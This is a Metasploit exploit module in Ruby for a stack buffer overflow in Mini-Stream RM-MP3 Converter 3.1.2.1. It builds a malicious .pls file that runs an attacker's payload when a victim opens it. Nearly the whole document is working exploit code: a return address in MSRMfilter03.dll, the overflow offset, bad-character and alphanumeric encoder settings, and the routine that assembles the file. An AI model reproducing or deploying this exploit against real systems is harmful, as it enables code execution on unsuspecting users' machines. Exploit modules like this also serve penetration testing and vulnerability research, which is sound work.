Mini-stream RM-MP3 Converter 3.1.2.1 – ‘.pls’ Local Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3 Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim opens the malicious PLS file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Madjix', # original discovery 'Tiago Henriques', # metasploit module 'James Fitts' # clean ups ], 'Version' => '$Revision: $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/14373/' ], [ 'BID', '34514' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1500, 'BadChars' => "\x00\x09\x0a", 'DisableNops' => 'True', 'StackAdjustment' => -3500, 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30', { 'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll 'Offset' => 17417 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 16 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), ], self.class) end def exploit pls = "http://" pls << rand_text_alpha_upper(target['Offset']) pls << [target.ret].pack('V') pls << rand_text_alpha_upper(8) pls << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(pls) end end |